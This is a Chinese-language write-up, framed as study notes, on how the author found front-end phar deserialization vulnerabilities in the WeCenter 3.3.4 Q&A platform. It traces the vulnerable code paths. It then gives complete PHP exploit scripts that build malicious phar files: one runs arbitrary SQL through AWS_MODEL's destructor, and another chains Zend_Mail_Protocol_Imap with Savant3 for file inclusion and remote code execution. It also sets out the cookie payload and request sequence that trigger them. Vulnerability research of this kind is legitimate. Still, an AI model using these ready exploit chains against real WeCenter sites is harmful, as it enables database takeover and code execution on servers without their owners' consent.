WeCenter v3.3.4 多个前台反序列化漏洞挖掘（学习）

第一个方式：反序列化挖掘任意SQL语句执行

先 system/aws_model.inc.php 文件中 _shutdown_query 为可控点，并且query直接进行SQL语句，这里可以直接想到尝试利用反序列化进行利用

        public function __destruct()
	{
		$this->master();

		foreach ($this->_shutdown_query AS $key => $query) // _shutdown_query可控点
		{
			$this->query($query); //无过滤进行执行SQL语句
		}
	}

寻找phar反序列化触发的函数

models/account.php

<?php
public function associate_remote_avatar($uid, $headimgurl){// 需要寻找$headimgurl可控的地方
    if (!$headimgurl){
        return false;
    }

    if (!$user_info = $this->get_user_info_by_uid($uid)){
        return false;
    }

    if ($user_info['avatar_file']){
        return false;
    }

    if (!$avatar_stream = file_get_contents($headimgurl)){ //这个地方能够进行触发phar反序列化
        return false;
    }
    ...

app/account/ajax.php 中 调用了associate_remote_avatar函数

public function synch_img_action(){
    $users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000);
    foreach ($users as $key => $value) {
        $wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL'); // 在users_weixin表中进行取出，条件是：函数将没有头像并且存在headimgurl字段的用户
        if($wxuser){
            $this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']);
        }
    }
}

寻找关于users_weixin的数据库的插入操作

models/openid/weixin/weixin.php 中调用了 bind_account函数，对用户的信息进行写入users_weixin中

<?php
public function bind_account($access_user, $access_token, $uid, $is_ajax = false){
    if (! $access_user['nickname']){
        if ($is_ajax){
            H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
        }else{
            H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
        }
    }

    if ($openid_info = $this->get_user_info_by_uid($uid)){
        if ($openid_info['opendid'] != $access_user['openid']) {
            if ($is_ajax){
                H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
            }else{
                H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
            }
        }
        return true;
    }

    $this->insert('users_weixin', array(
        'uid' => intval($uid),
        'openid' => $access_token['openid'],
        'expires_in' => (time() + $access_token['expires_in']),
        'access_token' => $access_token['access_token'],
        'refresh_token' => $access_token['refresh_token'],
        'scope' => $access_token['scope'],
        'headimgurl' => $access_user['headimgurl'],
        'nickname' => $access_user['nickname'],
        'sex' => $access_user['sex'],
        'province' => $access_user['province'],
        'city' => $access_user['city'],
        'country' => $access_user['country'],
        'add_time' => time()
    ));
    return true;
}

全局搜索 bind_account 函数的调用

app/m/weixin.php

<?php
public function binding_action(){
    if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){
            $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); // _WXConnect是Cookie中进行的，那么_WXConnect为可控 导致 $WXConnect 同样可控！
    }

    if ($WXConnect['access_token']['openid']){
        $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id); // 这里进行了调用

        HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);

        if ($_GET['redirect']){
            HTTP::redirect(base64_decode($_GET['redirect']));
        }else{
            H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
        }
    }else{
        H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
    }
}

漏洞EXP：

<?php
class AWS_MODEL{
        private $_shutdown_query = array();

        public function __construct(){
            $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
        }
}
$a = new AWS_MODEL;
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
?>

复现：

1、首先先上传phar格式的gif文件

2、然后设置指定的 wys__WXConnect Cookie，进行绑定信息 访问`/?/m/weixin/binding/

$arr = array();
$arr['access_token'] = array('openid' => '3');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 3;
$arr['access_user']['nickname'] = 'admin';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200413/07b79296630214ae808f5f888da82fff.gif';
echo json_encode($arr);

3、最后再访问/?/account/ajax/synch_img/ 来触发phar反序列化

---

第二个方式：反序列化挖掘前台RCE

全局搜索function __toString( 尝试找到可利用的点，system/Savant3.php中

跟进 getOutput 方法

继续跟fetch方法

跟到 template 方法中

跟进findFile方法中，发现$path . $file两个变量进行了拼接，并且如果文件存在的话 则进行返回

最后拼接的内容 返回到 fetch 方法中，进行文件包含

这里可以进行控制的 __config[$type . '_path'] __config['template'] 两个属性

那么就是如果能再找到触发该类Savant3中的__toString方法的话 那么就可以进行任意代码执行了

继续全局搜索function __destruct( 是否存在触发任意类的__toString条件

system/Zend/Mail/Protocol/Imap.php 中 存在

class Zend_Mail_Protocol_Imap
{
    ........
    public function __destruct()
    {
        $this->logout();
    }
    ........
}

一直跟 发现 sendRequest方法进行了拼接字符串，从而导致可以进行__toString触发，++操作符对对象类型无影响，这里的话 $this->_tagCount 能够控制！

漏洞EXP：

<?php
class Savant3{
    protected $__config = array();
    function __construct(){
        $this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg'; //尝试被包含的上传文件
        $this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/"); //要被包含的路径 二者进行拼接
    }
}

class Zend_Mail_Protocol_Imap{
    protected $_socket;
    protected $_tagCount;
    function __construct()
    {
        $this->_socket = 'a';
        $this->_tagCount = new Savant3();
    }
}
$obj = new Zend_Mail_Protocol_Imap();
$filename = "exp.phar";
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setMetadata($obj);
$phar->addFromString("a","b");
$phar->stopBuffering();
?>

phar触发点跟上面还是一样的！

---

另一处触发Savant3类的__toString的方法，跟一次酒馆师傅的，同样是字符串拼接触发的，他文章中还有一处是自己挖的类似的RCE触发，就不写了

这里就记录一处POP链

这里同样是搜索全局function __destruct(

system/Zend/Mail/Transport/Smtp.php 文件中的 __destruct

还有一处同样也是，参考文章：https://www.cnblogs.com/xiaozhiru/p/12345450.html

总结：现在跟起来挺轻松理解的，自己尝试挖起来还需要耐心观察

参考文章：https://xz.aliyun.com/t/7077
参考文章：http://www.yulegeyu.com/2020/01/22/WECENTER-反序列任意文件包含利用链/